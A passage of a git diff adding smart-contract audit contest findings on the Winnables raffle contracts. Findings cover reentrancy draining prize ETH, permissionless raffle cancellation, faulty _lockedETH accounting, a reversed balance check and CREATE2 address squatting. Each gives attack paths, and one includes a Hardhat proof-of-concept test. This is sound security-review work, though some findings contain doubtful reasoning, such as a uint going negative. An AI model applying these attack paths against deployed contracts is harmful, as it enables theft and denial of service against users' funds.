and have been selected as the winners. +1. As soon as the winner is drawn, Charlie notices that `0xCC..CC` is an empty account on Ethereum. +2. Charlie rushes to call `ProxyFactory.deployProxyWithNonce`, providing `0x012345` as the salt, on the Ethereum instance of `ProxyFactory`. As per `CREATE2` functionality, the created Safe wallet is assigned to address `0xCC..CC`. +3. CCIP infrastructure has processed and correctly delivered the Winnables message which propagates the raffle winner, address `0xCC..CC`, to Ethereum. +4. `WinnablesPrizeManager` registers the received address as the winner of the latest raffle. +5. Charlie is now able to steal Alice's and Bob's prize by routing a call to `WinnablesPrizeManager.claimPrize` via his Safe wallet. + +## Tool used + +Manual Review + +## Recommendation + +The system should allow for raffle ticket buyers to optionally specify a different address to which they wish to receive the prize on Ethereum. +Such functionality could be implemented via a `mapping(address => address)`, whose content is only used to overwrite the recipient of a raffle prize if the value associated to the winning ticket's owner is different from `address(0)`. \ No newline at end of file diff --git a/001/499.md b/001/499.md new file mode 100644 index 0000000..8dac584 --- /dev/null +++ b/001/499.md @@ -0,0 +1,55 @@ +Restless Green Salmon + +Medium + +# The Attacker will Cancel the Raffle In PRIZE_LOCKED + +### Summary + +Allowing anyone to cancel the raffle when it is in the state `PRIZE_LOCKED` will result in no raffles being created. + + +### Root Cause + +In the `WinnablesTicketManager::435` function, `_checkShouldCancel` will return `true` if the raffle is in the state `PRIZE_LOCKED`: + +```solidity +if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; +``` +And any one to cancel the Raffle. + +### Internal pre-conditions + +1. When the admin calls the `LockXYZ` function in the `WinnablesPrizeManager` contract, it triggers the `_ccipReceive()` function on the destination chain. +2. On the destination chain, a raffle is added with a status of `PRIZE_LOCKED`. +3. After this, the raffle is created, and users can begin purchasing tickets. + +[https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) + + +### External pre-conditions + +1. The attacker can set up a bot to call the `cancelRaffle` function before the `createRaffle` function or front-run the `createRaffle` function. +2. Once the raffle is canceled, it cannot be created again. + + +### Attack Path + +1. A user with `{Role 1}` calls the `LOCKETH` function on the Ethereum Mainnet. +2. This function sends a cross-chain message to the Avalanche chain, where it creates a raffle with a status of `PRIZE_LOCKED`. +3. The attacker checks for a raffle with the status `PRIZE_LOCKED` and calls the `cancelRaffle` function. +5. The raffle is canceled, causing any subsequent calls to `createRaffle` to fail. +6. The attacker can repeat this process, as the costs on Avalanche are low, and the LINK tokens will be used from the `WinnablesTicketManager`. + +### Impact + +An attacker can prevent or DoS the creation of a raffle by either front-running the `createRaffle` function or by checking if the raffle status is `PRIZE_LOCKED` and canceling it. + +### PoC + + Link for Gist : +[https://gist.github.com/amankakar/d494663d16865e47e3c0e32a3195b944](https://gist.github.com/amankakar/d494663d16865e47e3c0e32a3195b944) + +### Mitigation + +Do not allow any one to cancel Raffle. \ No newline at end of file diff --git a/001/500.md b/001/500.md new file mode 100644 index 0000000..e5cbb2f --- /dev/null +++ b/001/500.md @@ -0,0 +1,43 @@ +Broad Red Skunk + +High + +# Attacker can prevent admin to withdraw available tokens from the contract due to wrong balance check + +## Summary +In the Winnables system, admin normally can withdraw the contract's token balance using `withdrawTokens()` function but this is not the case in current implementation due to wrong balance check in if statement. +## Vulnerability Detail +The available balance check use wrong operator in if statement. `withdrawTokens()` function is implemented as follows: + +```solidity + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + &> if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` +In current implementation, if amount is lower than balance it reverts. So, if admin doesn't try to withdraw all the token balance it will revert. Problem arise exactly here, a potential attacker can easily prevent admin to withdraw his balance just sending 1 wei of token with frontrunning. + +## Proof of Concept + +### Scenario +- Contract USDC balance is 100e6 (including decimal) +- Admin calls withdrawTokens() function with 100e6 ( if statement won't work current situtation because amout = balance ) +- Attacker see that transaction and he sends 1 wei with high gas for frontrunning. +- Now while execution of admin's call, balance will be 100e6 + 1 and amount will be 100e6, which means amount < balance +- Result: Withdraw function is reverted + + +## Impact +Loss of funds ( DoS) + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L295 +## Tool used + +Manual Review + +## Recommendation + +Changing '<' operator to '>' will solve the problem \ No newline at end of file diff --git a/001/501.md b/001/501.md new file mode 100644 index 0000000..e89be48 --- /dev/null +++ b/001/501.md @@ -0,0 +1,78 @@ +Brave Mahogany Lizard + +Medium + +# Handling of `_ethLocked` variable in `WinnablesPrizeManager` contract is wrong, can give unexpected results. + +## Summary +The `_ethLocked` variable is not handled properly and used it is used in `claimPrize` , `lockETH` , `withdrawETH` and `_cancelRaffle` functions. Which can give unexpected results. + +## Vulnerability Detail + +The `_ethLocked` variable is defined in `WinnablesPrizeManager` here: +```solidity +uint256 private _ethLocked; +``` +Then it is being updated for the first time in the `claimPrize` function here: +```solidity +unchecked { _ethLocked -= _ethRaffles[raffleId]; } +``` +The `_ethLocked` has no value assigned to it initially, so the default value it will assume is `0`. +When the above opertation is performed in the `claimPrize` function it will set the value of the variable to negative. +Let's assume `_ethRaffles[raffleId]` has a value of 10. +```solidity +_ethLocked = _ethLocked - 10 +_ethLocked =-10 +``` +As we can see the value will be negative and there is no underflow protection as it is marked with the `unchecked` block, which should not be the case as locked eth amount can't be negative. + +Then as we proceed to the next function `lockEth` it is used in this line: +```solidity +if (ethBalance < amount + _ethLocked) revert InvalidPrize(); +``` +This line performs a check that the amount entered plus locked eth amount if greater than the balance of this contract then it should revert with `InvalidPrize()`. But as we can see from our above calculation value of `_ethLocked` will be negative and hence it can tamper this check. + +```solidity + _ethLocked += amount; +``` +Here the possible conditions can occur: + 1. _ethLocked> amount -> output will still remain negative + 2. _ethLocked< amount -> output will be positive but unexpected result + 3. _ethLocked=amount -> output will be 0 + +In the next function `withdrawETH` it is being used here: +```solidity + unchecked { availableBalance = balance - _ethLocked; } +``` +Here the value is being used in calculation of `availableBalance` which again if `_ethLocked` is negative will lead to wrong calculation as : `-(-_ethLocked) = +_ethLocked` + +Lastly, in `_cancelRaffle` it is used here: +```solidity +unchecked { _ethLocked -= _ethRaffles[raffleId]; } +``` +Again subtracting from a negative value will result in a negative value and give a wrong result. + + +## Impact +Wrong calculation of `_ethLocked` variable affects functionality of every function it is used in. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L37 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L117 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L181 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L183 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L241 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L290 + + +## Tool used + +Manual Review + +## Recommendation +If the locked eth value is supposed to be a constant then the value must be assigned initially to prevent mis calculation or the logic needs to be updated \ No newline at end of file diff --git a/001/502.md b/001/502.md new file mode 100644 index 0000000..7d3256c --- /dev/null +++ b/001/502.md @@ -0,0 +1,74 @@ +Merry Plastic Poodle + +High + +# Attacker can DOS raffle creation by canceling all `PRIZE_LOCKED` raffles using `WinnablesTicketManager::cancelRaffle` + +## Summary +`WinnablesTicketManager::cancelRaffle` allows anyone to cancel a raffle which is in `PRIZE_LOCKED` state. To create a raffle, raffle must be in `PRIZE_LOCKED` state. hence, anyone is able to grief raffle creation by canceling all the raffles which are in `PRIZE_LOCKED` state + +## Vulnerability Detail +As stated in the code docs, `cancelRaffle` is a public function which allows any address to cancel a raffle under right conditions: +```solidity + /// @notice (Public) Cancel a raffle if it can be canceled + /// @param raffleId ID of the raffle to cancel + //@audit anyone is able to cancel a raffle if its in PRIZE_LOCKED state + function cancelRaffle( + address prizeManager, + uint64 chainSelector, + uint256 raffleId + ) external { + //@audit-info check if raffle is cancelable + _checkShouldCancel(raffleId); + //@audit-info cancel it + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) //8 bit + raffleId + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +if we take a look at `_checkShouldCancel` we can see that if status of the raffle is `PRIZE_LOCKED` we simply return: +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` + +which allows us to bypass all conditions and set status of raffle to `CANCELED`: +```solidity + function cancelRaffle(...) external { + //@audit-info check if raffle is cancelable, since status is PRIZE_LOCKED we can bypasss this + _checkShouldCancel(raffleId); + //@audit-info cancel it + _raffles[raffleId].status = RaffleStatus.CANCELED; + //... +``` + +this in result, prevents this raffle from creation: +```solidity + function createRaffle(... ) external onlyRole(0) { + //... + //@audit-info do not allow raffle to be created, since raffle status is `CANCELED` + if (raffle.status != RaffleStatus.PRIZE_LOCKED) revert PrizeNotLocked(); + //... + } +``` +## Impact +Attacker can prevent all the raffles from creation. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L264 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L436 + +## Tool used + +Manual Review \ No newline at end of file diff --git a/001/503.md b/001/503.md new file mode 100644 index 0000000..d9649dc --- /dev/null +++ b/001/503.md @@ -0,0 +1,69 @@ +Restless Green Salmon + +High + +# The Winner can drain the `WinnablesPrizeManager` and steal all the ETH Locked In case of ETH Raffle. + +### Summary + +After the raffle has concluded and a winner is selected, the winner is supposed to call the `claimPrize` function to withdraw their ETH. However the status is update after the ETH has been sent to Receiver. + + +### Root Cause + +The status of `rafflePrize` is updated after sending ETH to the receiver. Therefore, the receiver can re-enter the contract and drain the locked ETH and `PrizeManager` balance. +[https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L121-L122](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L121-L122) + +### Internal pre-conditions + +1. There are `lockedETH` for other ETH Raffle or `PrizeManager` hold ETH. + +### External pre-conditions + +1. The caller must be winner. + +### Attack Path + +1. Bob writes an attack contract and participates in an ETH raffle. +2. Bob wins the raffle in which he participated. +3. Bob calls the `claimPrize` function. +4. The `PrizeManager` sends ETH to Bob's contract, and Bob re-enters the contract to withdraw more ETH from `PrizeManager`. +5. Bob continues this process until there is no ETH left in the `PrizeManager`. + + +### Impact + +The attacker will be able to drain the `PrizeManager` and withdraw all the ETH. + + +### PoC + +_No response_ + +### Mitigation + +Update the state Before Interaction/Transfering the ETH. +```diff +diff --git a/public-contracts/contracts/WinnablesPrizeManager.sol b/public-contracts/contracts/WinnablesPrizeManager.sol +index 4007044b..f593232c 100644 +--- a/public-contracts/contracts/WinnablesPrizeManager.sol ++++ b/public-contracts/contracts/WinnablesPrizeManager.sol +@@ -105,6 +105,9 @@ contract WinnablesPrizeManager is Roles, BaseCCIPSender, BaseCCIPReceiver, IWinn + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; ++ + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; +@@ -118,8 +121,6 @@ contract WinnablesPrizeManager is Roles, BaseCCIPSender, BaseCCIPReceiver, IWinn + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` \ No newline at end of file diff --git a/001/505.md b/001/505.md new file mode 100644 index 0000000..729f3ef --- /dev/null +++ b/001/505.md @@ -0,0 +1,65 @@ +Unique Syrup Swallow + +Medium + +# Malicious user will prevent prize unlocking for cancelled raffles + +### Summary + +Trust of user input on permissionless function will cause raffles to be cancelled on the `WinnablesTicketManager` without the prize being unlocked on `WinnablesPrizeManager` as a malicious user could call this function on a cancellable raffle and supply an incorrect `prizeManager` address and `chainSelector` value. + +### Root Cause + +The choice to make `cancelRaffle` ([WinnablesTicketManager:L278](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278)) an unprivileged function is a mistake as it requires two parameters which are trusted and not verified: `chainSelector` and `prizeManager`. + +### Internal pre-conditions + +1. An ongoing raffle must be in a cancellable state. +2. A prize must be locked for this raffle for exploitation to have impact. + +### External pre-conditions + +None. + +### Attack Path + +1. An unprivileged user calls `TicketManager.cancelRaffle`, supplying the `raffleId` of a cancellable raffle; any address for `prizeManager` other than the actual address; and/or any value for `chainSelector` other than `1`. +2. The raffle's `status` is set to `RaffleStatus.CANCELED` and a CCIP message is sent with the supplied `prizeManager` and `chainSelector` values. +3. As the values in the CCIP message are incorrect, `WinnablesPrizeManager.ccipReceive` will not be called by the CCIP router on Ethereum mainnet. This means that `WinnablesPrizeManager._cancelRaffle` will not be called and the raffle's prize will not be unlocked. + +### Impact + +Winnables suffers the loss of the permanently locked prize for the cancelled raffle and the attacker doesn't gain anything (griefing). + +### PoC + +The test case below can be inserted into `test/TicketManager.js` in place of `'Cancels and sends cancellation CCIP Message'` ([line 521](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/test/TicketManager.js#L521)) + +```javascript + it('Unprivileged user cancels raffle and sends CCIP message with incorrect contract address and chainID, preventing correct cancelation flow', async () => { + await (await link.mint(manager.address, ethers.utils.parseEther('100'))).wait(); + + // Unprivileged user cancels raffle and sends CCIP message with incorrect prize manager address and chainID + const tx = await manager.connect(signers[2]).cancelRaffle(signers[2].address, 2, 1); + + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(3); + const ccipMessageEvent = ccipRouter.interface.parseLog(events[0]); + + // CCIP message contains incorrect prize manager address and chainID + expect(ccipMessageEvent.name).to.eq('MockCCIPMessageEvent'); + expect(ccipMessageEvent.args.data).to.eq('0x000000000000000000000000000000000000000000000000000000000000000001'); + expect(ccipMessageEvent.args.receiver).to.eq('0x' + signers[2].address.toLowerCase().slice(-40).padStart(64, '0')); // incorrect receiver address + expect(ccipMessageEvent.args.chain).to.eq('2'); // incorrect chainSelector + + // Subsequent attempt to cancel raffle with legitimate parameters reverts with InvalidRaffle as raffle is already cancelled + await expect(manager.cancelRaffle(counterpartContractAddress, 1, 1)).to.be.revertedWithCustomError(manager, 'InvalidRaffle'); + }); +``` + +### Mitigation + +Two possible mitigations are: + +1. `Winnables.TicketManager.cancelRaffle` could be made into an admin-only function. +2. `prizeManager` and `chainSelector` could be converted to state variables. These could be set at contract creation and/or through admin-only setter functions. `Winnables.TicketManager.cancelRaffle` could then be altered to accept only one parameter: `raffleId`. \ No newline at end of file diff --git a/001/506.md b/001/506.md new file mode 100644 index 0000000..8472848 --- /dev/null +++ b/001/506.md @@ -0,0 +1,73 @@ +Straight Hotpink Wolverine + +Medium + +# The incorrect Refund handling will lock funds, potentially preventing admin from withdrawing funds + +## Summary +The failure to decrement `_lockEth` in the `refundPlayers` function will cause an inability to withdraw funds for the admin in the `withdrawEth` function as the contract will mistakenly believe more Eth is locked than necessary, preventing proper fund release + +## Vulnerability Detail +### `WinnablesTicketManager.sol#L215-L228` + +In `refundPlayers` functon, the `_lockedEth` variable is not decremented when refunds are issued, leading to improper accounting in the contract. Even though it was incremented upon buying of tickets in the `buyTickets` function. + +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } +``` +## Concept +1. Two players enter a raffle by purchasing a ticket, assuming the price for a ticket is 5eth. The contract updates the `_lockEth` balance to 10eth +`buyTickets` function increments `_lockedEth` value + +```solidity +unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + `_lockedETH += msg.value;` + } +[https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L203](url) +``` + +2. Assume the `WinnablesTicketManager.sol` contract has an initial balance of 10eth`(address(this))`, as the `_lockedEth` updates this becomes 20eth(current total balance in the contract) +3. Raffle get canceled +4. player1 asks for a refund by calling `refundPlayers` function but this does not decrement the ` _lockedEth` balance still leaving it inflated as 10eth instead of 5eth +5. `address(this)` updates the total balance of Eth in the `WinnablesTicketManager.sol` contract as 15eth +6. Admin attempts to withdraw initial eth by calling the `withdrawEth` function which calculates balance as thus; + +```solidity + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender);} +[https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L300](url) +``` +`15eth - 10eth = 5eth(avaliable balance admin withdraw) instead of 10eth` + +## Impact + +The admin suffers an approximate loss of value since they are unable to withdraw the full available balance due to incorrect ` _lockedEth` calculation in the `WinnablesTicketManager.sol` contract. This restriction prevents admin from accessing funds that should be avaliable for withdrawal when the `withdrawEth` function is called in the `WinnablesTicketManager.sol` contract, leading to a potential shortfall in the expected funds under the admin's control. This could impact the contract's operations and fund management + +## Code Snippet + +[https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300](url) + +## Tool used + +Manual Review + +## Recommendation +To mitigate this issue, ensure that `_lockedEth` is properly decremented within the `refundPlayers` function after each refund is processed. This will guarantee that the locked Eth value accurately reflects the remaining obligatons, preventing any unintended restrictions on the admin's ability to withdraw the correct amount of eth from the `WinnablesTicketManager.sol` contract when the withdrawEth function is called. +use: `_lockedEth -= amountToSend` \ No newline at end of file diff --git a/001/507.md b/001/507.md new file mode 100644 index 0000000..cbbee0f --- /dev/null +++ b/001/507.md @@ -0,0 +1,71 @@ +Prehistoric Metal Rabbit + +Medium + +# Raffles with exactly `minTicketsThreshold` tickets sold can still be cancelled + +### Summary + +Wrong conditional check/comparison in `minTicketsThreshold` will cause raffles with exactly `minTicketsThreshold` tickets to still be cancellable. + +### Root Cause + +In `checkShouldCancel()`: + +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + // ... + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); // @audit if supply == minTicketsThreshold then still cancellable +} +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L440 + +Note that when the number of tickets sold is equal to `minTicketsThreshold` of the raffle, then the raffle is still cancellable. This is inconsistent with the code documentation about the use of `minTicketsThreshold`. + +```solidity +/// @return minTicketsThreshold minimum number of tickets that needs to be sold before +/// this raffle is elligible for drawing a winner +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L75-L76 + +Furthermore, this is also inconsistent with `_checkShouldDraw()` for checking if a raffle should be drawable. + +```solidity +function _checkShouldDraw(uint256 raffleId) internal view { + // ... + if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); // @audit if target ticket is strictly less, then raffle is not drawable +} +``` + +One must also note that `cancelRaffle()` was designed to be callable by anyone (so as to prevent prize locking). + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278 + +Therefore, when a raffle ends up with exactly `minTicketsThreshold`, anyone can still cancel the raffle and deny the potential winner their winnings, even if the raffle was supposed to be drawable. + + +### Internal pre-conditions + +1. The raffle needs to have had exactly `minTicketsThreshold` sold + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +If a raffle ends up with exactly `minTicketsThreshold`, anyone can still cancel the raffle and deny the potential winner their winnings, even if the raffle was supposed to be drawable. + +### PoC + +_No response_ + +### Mitigation + +The correct comparison should be `if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached();` \ No newline at end of file diff --git a/001/508.md b/001/508.md new file mode 100644 index 0000000..86465d5 --- /dev/null +++ b/001/508.md @@ -0,0 +1,76 @@ +Faithful Smoke Hawk + +Medium + +# The refund didn't deduct the corresponding amount from _lockedETH when canceling raffle + +### Summary + +When a raffle is canceled and funds are returned to players, the corresponding amount is not deducted from _lockedETH, causing _lockedETH to continually increase. Consequently, when many raffles are canceled, this can prevent the admin from withdraw funds leading to DOS + +### Root Cause + +When the raffle is canceled, anyone can call `refundPlayers` to get funds back. But the refund didn't deduct the corresponding amount from _lockedETH when refunding players. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300-L306 + +### Internal pre-conditions + +1. Several raffles are canceled +2. Several raffles are drawed +3. The funds which are need to refund players are larger than the funds collected from buyers + +### External pre-conditions + +When raffle is canceled, `refundPlayers` is immediately called + +### Attack Path + +```solidity + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` +`address(this).balance` < `_lockedETH` → `withdrawETH` revert +Admin can't withdraw ETH(AVAX). + +### Impact + +`withdrawETH` is DOS. + +### PoC + +An example: +1. The ticketManager contract has 100 AVAX and _lockETH = 100 +2. raffle A collected 10 AVAX and is canceled. Refund is completed. +3. Now the ticketManager contract has 100 AVAX and _lockETH = 110. Withdraw will be revert. +4. raffle B collected 50 AVAX and is propagated. Now the ticketManager contract has 150 AVAX and _lockETH = 110. The admin forget to withdraw. +5. raffle C collected 100 AVAX and is canceled. Refund is completed. Now the ticketManager contract has 150 AVAX and _lockETH = 210. Withdraw will be revert. +So a DOS for `withdrawETH` could happen. + +### Mitigation + +```diff +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); ++ unchecked { ++ _lockedETH -= amountToSend; ++ } + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } +} +``` \ No newline at end of file diff --git a/001/509.md b/001/509.md new file mode 100644 index 0000000..edc0f60 --- /dev/null +++ b/001/509.md @@ -0,0 +1,81 @@ +Eager Corduroy Nightingale + +High + +# Permanent Fund Locking Vulnerability Due to Inconsistent _lockedETH Updates + +## Summary +Funds can become permanently locked and unwithdrawable due to the inconsistent updating of the _lockedETH variable. When a raffle is canceled, players can refund their funds, but the _lockedETH variable is not adjusted accordingly. This discrepancy causes _lockedETH to reflect a higher amount than the actual ETH held in the contract. As a result, any attempt by the admin to withdraw funds will revert, permanently locking the ETH in the contract. + +## Vulnerability Detail +The vulnerability occurs during the lifecycle of a raffle. When players buy tickets for a raffle, the ETH they send is tracked by increasing the `_lockedETH` variable using `msg.value`. This variable is intended to represent the total ETH locked in the contract, ensuring that the funds are correctly managed and available for withdrawal. + +However, when a raffle is canceled and players are refunded through the `refundPlayers` function, the `_lockedETH` variable is not decreased by the amount refunded. This oversight leads to a situation where `_lockedETH` no longer accurately reflects the actual ETH balance in the contract. + +Assume _lockedETH is 100 ETH after players have purchased tickets. +If the raffle is canceled and players are refunded 100 ETH, `_lockedETH` remains unchanged at 100 ETH, despite the actual contract balance being reduced to 0 ETH. +If a new raffle is created and players contribute 50 ETH, `_lockedETH` increases to 150 ETH, while the contract's actual balance is only 50 ETH. +When the raffle is completed and successfully draw a winner `_lockedETH` decreases by 50 ETH, resulting in a final `_lockedETH` of 100 ETH, but with only 50 ETH in the contract. +Now when admins tries to withdraw the 50ETH from the contract using `withdrawETH` function it will revert. + +## Impact +This vulnerability can result in funds being permanently locked in the contract, making it impossible for the admin to withdraw them. The locked funds can lead to significant financial loss. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L206 +Here we can see that `_lockedETH` increased by `msg.value` +```javascript +function buyTickets(uint256 raffleId, uint16 ticketCount, uint256 blockNumber, bytes calldata signature) + external + payable +{ + . + . + . + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; +@> _lockedETH += msg.value; + } + . + . + . +} +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215 +There is no adjustment of `_lockedETH` in `refundPlayers` function +```javascript +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length;) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { + ++i; + } + } +} +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L300 +And here we can see that balance is the balance of the contract minus _lockedETH. +so from the above example balance become `50 ether - 100 ether` but because of unchecked it becomes extremely huge number and will revert as contract doesn't have that much ETH +```javascript + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { +@> balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` +## Tool used +Manual Review + +## Recommendation +Adjust the `_lockedETH` inside the for loop of the `refundPlayers` function \ No newline at end of file diff --git a/001/511.md b/001/511.md new file mode 100644 index 0000000..5a4df24 --- /dev/null +++ b/001/511.md @@ -0,0 +1,51 @@ +Tart Brick Canary + +High + +# Winners can drain the entire ETH in the contract due to a reentrancy vulnerability + +## Summary +The winner can drain the entire ETH in the contract due to a reentrancy vulnerability + +## Vulnerability Detail +The claimPrize() function allows the rightful winner of a raffle Id to withdraw just the amount for that particular raffle, however, for the ETH raffle type, the winner can claim the entire ETH in the contract. This is because before updating the status to CLAIMED, it makes a low-level external call back to the winner as a result of the .call() operator sending the ETH amount: +```solidity + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } +@> _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +@> rafflePrize.status = RafflePrizeStatus.CLAIMED; +``` +```solidity +function _sendETHPrize(uint256 amount, address winner) internal { +@> (bool success, ) = winner.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +``` +This allows the winner to reenter the contract and call claimPrize() again thereby claiming the amount multiple times before the status gets updated leading to the draining of the ETH in the contract. + +## Impact +winners can drain the entire ETH in the contract. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L118 + +## Tool used + +Manual Review + +## Recommendation +Perform the status update before sending the amount or add a reentrancy guard. +```diff ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + ... + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if 